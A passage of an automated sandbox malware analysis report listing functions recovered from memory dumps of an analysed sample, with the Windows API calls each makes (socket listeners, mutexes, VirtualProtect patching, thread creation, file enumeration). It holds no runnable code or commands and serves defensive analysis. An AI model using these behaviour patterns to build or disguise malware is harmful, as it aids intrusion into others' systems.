      • Part of subcall function 0042B7E3: CreateCompatibleDC.GDI32 ref: 0042B9EB
      • Part of subcall function 0042B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 0042BA00
      • Part of subcall function 0042B7E3: SelectObject.GDI32(?), ref: 0042BA17
      • Part of subcall function 0042B7E3: ReleaseDC.USER32(00000000), ref: 0042BA2D
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BA4D
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA5D
      • Part of subcall function 0042BA3D: TlsFree.KERNEL32 ref: 0042BA68
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA76
      • Part of subcall function 0042BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 0042BA80
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32 ref: 0042BA8D
      • Part of subcall function 0042BA3D: SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BAB8
      • Part of subcall function 0042BA3D: DeleteDC.GDI32(00000000), ref: 0042BAC5
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BAD6
      • Part of subcall function 0042BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
      • Part of subcall function 0042BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
      • Part of subcall function 00416373: WSAGetLastError.WS2_32(?,00000001,0000000A,00000000,?,001B7740,?,00000003,001B7740,?,001B7740,?,?,00000018,?), ref: 00416639
      • Part of subcall function 00416373: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00416654
      • Part of subcall function 00416373: ReleaseMutex.KERNEL32 ref: 004166E6
      • Part of subcall function 00416373: GetSystemMetrics.USER32(00000017), ref: 00416806
      • Part of subcall function 00416373: ReleaseMutex.KERNEL32 ref: 00416B93
    • GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 0042BD97
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 0042BDC9
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • WaitForSingleObject.KERNEL32(?,00001388), ref: 0042BE29
    • CloseHandle.KERNEL32(?), ref: 0042BE39
    • CloseHandle.KERNEL32(?), ref: 0042BE3F
    • SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 0042BE4E
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCC822, Relevance: 12.1, APIs: 8, Instructions: 107
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BCC836
    • ReleaseMutex.KERNEL32 ref: 00BCC855
    • GetWindowRect.USER32(?,?), ref: 00BCC862
    • IsRectEmpty.USER32(?), ref: 00BCC8E6
    • GetWindowLongW.USER32(?,000000F0), ref: 00BCC8F5
    • GetParent.USER32(?), ref: 00BCC90B
    • MapWindowPoints.USER32(00000000), ref: 00BCC914
    • SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 00BCC938
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042C822, Relevance: 12.1, APIs: 8, Instructions: 107
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C836
    • ReleaseMutex.KERNEL32 ref: 0042C855
    • GetWindowRect.USER32(?,?), ref: 0042C862
    • IsRectEmpty.USER32(?), ref: 0042C8E6
    • GetWindowLongW.USER32(?,000000F0), ref: 0042C8F5
    • GetParent.USER32(?), ref: 0042C90B
    • MapWindowPoints.USER32(00000000), ref: 0042C914
    • SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 0042C938
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00421A14, Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 424
    APIs
    • EnterCriticalSection.KERNEL32(00433FEC,?,00000000,00000000), ref: 00421A2F
    • LeaveCriticalSection.KERNEL32(00433FEC,?,00000000,00000000), ref: 00421AB2
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00421C6F
      • Part of subcall function 004284CE: EnterCriticalSection.KERNEL32(00434170,?,00421C94,?,?,00004E25,10000000,?,00000000,00000000), ref: 004284D5
      • Part of subcall function 004284CE: LeaveCriticalSection.KERNEL32(00434170,?,00004E25,10000000,?,00000000,00000000), ref: 0042850A
      • Part of subcall function 00428514: EnterCriticalSection.KERNEL32(00434170,00000000,?,00421DB8,?,00000000,00000000), ref: 00428520
      • Part of subcall function 00428514: LeaveCriticalSection.KERNEL32(00434170,?,00000000,00000000), ref: 0042856A
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00421DEB
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0042131B: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 004214ED
      • Part of subcall function 0042131B: RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 0042150D
      • Part of subcall function 0042131B: RegCloseKey.ADVAPI32(000000FF), ref: 00421520
      • Part of subcall function 0042131B: GetLocalTime.KERNEL32(?), ref: 0042152F
      • Part of subcall function 00429B3D: GetTempFileNameW.KERNEL32(00434398,pre,00000000,?), ref: 00429BB9
      • Part of subcall function 00425C34: CreateMutexW.KERNEL32(00432AFC,00000000,00434090), ref: 00425C59
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040F700, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 220
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040F76A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E900, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207
    APIs
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC06F0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 190
    APIs
    • EnterCriticalSection.KERNEL32(00BD3F6C,0000FDE9,?), ref: 00BC07A7
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • LeaveCriticalSection.KERNEL32(00BD3F6C,000000FF,000000FF), ref: 00BC0802
    • EnterCriticalSection.KERNEL32(00BD3F6C), ref: 00BC081D
    • getpeername.WS2_32 ref: 00BC08D1
      • Part of subcall function 00BBB9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 00BBB9C7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004206F0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 190
    APIs
    • EnterCriticalSection.KERNEL32(00433F6C,0000FDE9,?), ref: 004207A7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • LeaveCriticalSection.KERNEL32(00433F6C,000000FF,000000FF), ref: 00420802
    • EnterCriticalSection.KERNEL32(00433F6C), ref: 0042081D
    • getpeername.WS2_32 ref: 004208D1
      • Part of subcall function 0041B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 0041B9C7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BAA4DE, Relevance: 10.7, APIs: 7, Instructions: 173
    APIs
    • recv.WS2_32(?,?,00000001,00000000), ref: 00BAA4FD
      • Part of subcall function 00BBBD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 00BBBD50
      • Part of subcall function 00BBBD45: CloseHandle.KERNEL32 ref: 00BBBD5B
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 00BAA57C
      • Part of subcall function 00BAA45D: getsockname.WS2_32(?,?,?), ref: 00BAA4B4
      • Part of subcall function 00BBB463: send.WS2_32(00000000,00000000,00000000,00000000), ref: 00BBB471
    • CreateMutexW.KERNEL32(00000000,00000001,?), ref: 00BAA5BE
      • Part of subcall function 00BBB7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 00BBB866
      • Part of subcall function 00BBB7E9: WSASetLastError.WS2_32(0000274C), ref: 00BBB877
    • accept.WS2_32(00000001,00000000,00000000), ref: 00BAA5FF
    • CloseHandle.KERNEL32(?), ref: 00BAA616
    • CloseHandle.KERNEL32(?), ref: 00BAA625
    • CloseHandle.KERNEL32(?), ref: 00BAA642
      • Part of subcall function 00BBB93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00BBB953
      • Part of subcall function 00BBB8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00BBB92E
      • Part of subcall function 00BCBD28: GetCurrentThread.KERNEL32 ref: 00BCBD39
      • Part of subcall function 00BCBD28: SetThreadPriority.KERNEL32 ref: 00BCBD40
      • Part of subcall function 00BCBD28: GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 00BCBD97
      • Part of subcall function 00BCBD28: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00BCBDC9
      • Part of subcall function 00BCBD28: WaitForSingleObject.KERNEL32(?,00001388), ref: 00BCBE29
      • Part of subcall function 00BCBD28: CloseHandle.KERNEL32(?), ref: 00BCBE39
      • Part of subcall function 00BCBD28: CloseHandle.KERNEL32(?), ref: 00BCBE3F
      • Part of subcall function 00BCBD28: SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 00BCBE4E
      • Part of subcall function 00BBBD28: GetLastError.KERNEL32(?,00BCAE06), ref: 00BBBD2B
      • Part of subcall function 00BBBD28: CloseHandle.KERNEL32 ref: 00BBBD39
      • Part of subcall function 00BB36DA: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00BB3881
      • Part of subcall function 00BB36DA: freeaddrinfo.WS2_32(?), ref: 00BB38BE
      • Part of subcall function 00BB36DA: getsockname.WS2_32(?,?,?), ref: 00BB3998
      • Part of subcall function 00BB36DA: getpeername.WS2_32(?,?,?), ref: 00BB39B2
      • Part of subcall function 00BB36DA: recv.WS2_32(?,?,0000FFFF,00000000), ref: 00BB3A6C
      • Part of subcall function 00BB36DA: recvfrom.WS2_32(?,?,0000FFFF,00000000,00000017,00000080), ref: 00BB3AAC
      • Part of subcall function 00BB36DA: getaddrinfo.WS2_32(00000000,00000000,00000000,?), ref: 00BB3BE9
      • Part of subcall function 00BB36DA: freeaddrinfo.WS2_32(?,?,0000FFFF,00000000,00000017,00000080,?,?), ref: 00BB3C4B
      • Part of subcall function 00BB36DA: sendto.WS2_32(000000FF,?,?,00000000,00000017,00000010), ref: 00BB3D17
      • Part of subcall function 00BB36DA: recvfrom.WS2_32(000000FF,?,?,00000000,00000017,00000080), ref: 00BB3D5C
      • Part of subcall function 00BB36DA: sendto.WS2_32(?,?,?,00000000,?,?), ref: 00BB3DD8
      • Part of subcall function 00BB36DA: select.WS2_32(00000000,00000002,00000000,00000000,00000000), ref: 00BB3E17
      • Part of subcall function 00BB3FFE: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00BB40CD
      • Part of subcall function 00BB3FFE: freeaddrinfo.WS2_32(?), ref: 00BB4103
      • Part of subcall function 00BBB3EC: recv.WS2_32(?,?,00000001,00000000), ref: 00BBB410
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BBB8E5: shutdown.WS2_32(?,00000002), ref: 00BBB8ED
      • Part of subcall function 00BBB8E5: closesocket.WS2_32 ref: 00BBB8F4
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040A4DE, Relevance: 10.7, APIs: 7, Instructions: 173
    APIs
    • recv.WS2_32(?,?,00000001,00000000), ref: 0040A4FD
      • Part of subcall function 0041BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 0041BD50
      • Part of subcall function 0041BD45: CloseHandle.KERNEL32 ref: 0041BD5B
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 0040A57C
      • Part of subcall function 0040A45D: getsockname.WS2_32(?,?,?), ref: 0040A4B4
      • Part of subcall function 0041B463: send.WS2_32(00000000,00000000,00000000,00000000), ref: 0041B471
    • CreateMutexW.KERNEL32(00000000,00000001,?), ref: 0040A5BE
      • Part of subcall function 0041B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 0041B866
      • Part of subcall function 0041B7E9: WSASetLastError.WS2_32(0000274C), ref: 0041B877
    • accept.WS2_32(00000001,00000000,00000000), ref: 0040A5FF
    • CloseHandle.KERNEL32(?), ref: 0040A616
    • CloseHandle.KERNEL32(?), ref: 0040A625
    • CloseHandle.KERNEL32(?), ref: 0040A642
      • Part of subcall function 0041B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041B953
      • Part of subcall function 0041B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 0041B92E
      • Part of subcall function 0042BD28: GetCurrentThread.KERNEL32 ref: 0042BD39
      • Part of subcall function 0042BD28: SetThreadPriority.KERNEL32 ref: 0042BD40
      • Part of subcall function 0042BD28: GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 0042BD97
      • Part of subcall function 0042BD28: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 0042BDC9
      • Part of subcall function 0042BD28: WaitForSingleObject.KERNEL32(?,00001388), ref: 0042BE29
      • Part of subcall function 0042BD28: CloseHandle.KERNEL32(?), ref: 0042BE39
      • Part of subcall function 0042BD28: CloseHandle.KERNEL32(?), ref: 0042BE3F
      • Part of subcall function 0042BD28: SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 0042BE4E
      • Part of subcall function 0041BD28: GetLastError.KERNEL32(?,0042AE06), ref: 0041BD2B
      • Part of subcall function 0041BD28: CloseHandle.KERNEL32 ref: 0041BD39
      • Part of subcall function 004136DA: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00413881
      • Part of subcall function 004136DA: freeaddrinfo.WS2_32(?), ref: 004138BE
      • Part of subcall function 004136DA: getsockname.WS2_32(?,?,?), ref: 00413998
      • Part of subcall function 004136DA: getpeername.WS2_32(?,?,?), ref: 004139B2
      • Part of subcall function 004136DA: recv.WS2_32(?,?,0000FFFF,00000000), ref: 00413A6C
      • Part of subcall function 004136DA: recvfrom.WS2_32(?,?,0000FFFF,00000000,00000017,00000080), ref: 00413AAC
      • Part of subcall function 004136DA: getaddrinfo.WS2_32(00000000,00000000,00000000,?), ref: 00413BE9
      • Part of subcall function 004136DA: freeaddrinfo.WS2_32(?,?,0000FFFF,00000000,00000017,00000080,?,?), ref: 00413C4B
      • Part of subcall function 004136DA: sendto.WS2_32(000000FF,?,?,00000000,00000017,00000010), ref: 00413D17
      • Part of subcall function 004136DA: recvfrom.WS2_32(000000FF,?,?,00000000,00000017,00000080), ref: 00413D5C
      • Part of subcall function 004136DA: sendto.WS2_32(?,?,?,00000000,?,?), ref: 00413DD8
      • Part of subcall function 004136DA: select.WS2_32(00000000,00000002,00000000,00000000,00000000), ref: 00413E17
      • Part of subcall function 00413FFE: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 004140CD
      • Part of subcall function 00413FFE: freeaddrinfo.WS2_32(?), ref: 00414103
      • Part of subcall function 0041B3EC: recv.WS2_32(?,?,00000001,00000000), ref: 0041B410
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0041B8E5: shutdown.WS2_32(?,00000002), ref: 0041B8ED
      • Part of subcall function 0041B8E5: closesocket.WS2_32 ref: 0041B8F4
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041167F, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 170
    APIs
    • LoadCursorW.USER32 ref: 0041167F
    • MapAndLoad.IMAGEHLP(PG3D,JdV2M89g,?,00000000,00000000), ref: 004116AF
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00411ABA
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040EFC2, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 154
    APIs
    • DialogBoxParamW.USER32 ref: 0040EFC2
    • CreateWindowExW.USER32 ref: 0040EFC8
    • MapAndLoad.IMAGEHLP(qp94D50i,bb8usr6,?,00000000,00000000), ref: 0040EFED
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040F376
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BA891D, Relevance: 10.6, APIs: 7, Instructions: 145
    APIs
    • LocalFree.KERNEL32 ref: 00BA8959
      • Part of subcall function 00BCBBC0: GetCurrentThreadId.KERNEL32 ref: 00BCBBCA
      • Part of subcall function 00BCBBC0: GetThreadDesktop.USER32 ref: 00BCBBD1
      • Part of subcall function 00BCBBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00BCBBEB
      • Part of subcall function 00BB4AC6: GetCurrentThread.KERNEL32 ref: 00BB4AD3
      • Part of subcall function 00BB4AC6: SetThreadPriority.KERNEL32 ref: 00BB4ADA
      • Part of subcall function 00BB4AC6: SetEvent.KERNEL32 ref: 00BB4AEC
      • Part of subcall function 00BB4AC6: SetEvent.KERNEL32 ref: 00BB4B39
      • Part of subcall function 00BB4AC6: GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00BB4B46
    • Sleep.KERNEL32(0000000A), ref: 00BA8AAD
      • Part of subcall function 00BCBA3D: DeleteObject.GDI32(00000000), ref: 00BCBA4D
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBA5D
      • Part of subcall function 00BCBA3D: TlsFree.KERNEL32 ref: 00BCBA68
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBA76
      • Part of subcall function 00BCBA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00BCBA80
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32 ref: 00BCBA8D
      • Part of subcall function 00BCBA3D: SelectObject.GDI32(00000000,00000000), ref: 00BCBAA7
      • Part of subcall function 00BCBA3D: DeleteObject.GDI32(00000000), ref: 00BCBAB8
      • Part of subcall function 00BCBA3D: DeleteDC.GDI32(00000000), ref: 00BCBAC5
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBAD6
      • Part of subcall function 00BCBA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00BCBAE5
      • Part of subcall function 00BCBA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00BCBC3C,00000000,00BD45C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00BCBAFE
    • Sleep.KERNEL32(000000FF), ref: 00BA89A1
    • ExitProcess.KERNEL32(00000000,00000000), ref: 00BA89B3
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,00000040,?), ref: 00BA8A5C
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,?,?), ref: 00BA8A75
    • CreateThread.KERNEL32(00000000,00000000,Function_00008533,00000000), ref: 00BA8A96
    • NtClose.NTDLL(?,?,00000000), ref: 00BA8A9E
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004107F4, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 135
    APIs
    • ClosePrinter.WINSPOOL.DRV ref: 004107F4
    • RegCloseKey.ADVAPI32 ref: 004107F9
    • MapAndLoad.IMAGEHLP(Kl2,a177vH5,?,00000000,00000000), ref: 00410865
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00410B55
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F90C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 133
    APIs
    • GlobalFree.KERNEL32 ref: 0040F90C
    • GetDC.USER32 ref: 0040F912
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041212B, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 113
    APIs
    • SelectObject.GDI32 ref: 0041212B
    • DrawTextExW.USER32 ref: 00412131
    • MapAndLoad.IMAGEHLP(T75,cb842j46,?,00000000,00000000), ref: 004122CD
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBDD7A, Relevance: 10.6, APIs: 7, Instructions: 109
    APIs
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 00BBDDB9
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBDDE0
      • Part of subcall function 00BBDD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00BBDE2A
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE57
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE87
    • FindNextFileW.KERNEL32(?,?), ref: 00BBDEB5
    • FindClose.KERNEL32(?), ref: 00BBDEC7
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00409DCF, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
    APIs
    • IsClipboardFormatAvailable.USER32 ref: 00409DCF
    • DragAcceptFiles.SHELL32 ref: 00409DD5
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00415303, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98
    APIs
    • GetKeyboardLayout.USER32 ref: 00415303
    • LoadLibraryA.KERNEL32 ref: 00415309
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004153B4
    • MapAndLoad.IMAGEHLP(o49CGpS9,CFbR0,?,00000000,00000000), ref: 0041549D
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00426166, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 95
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00426181
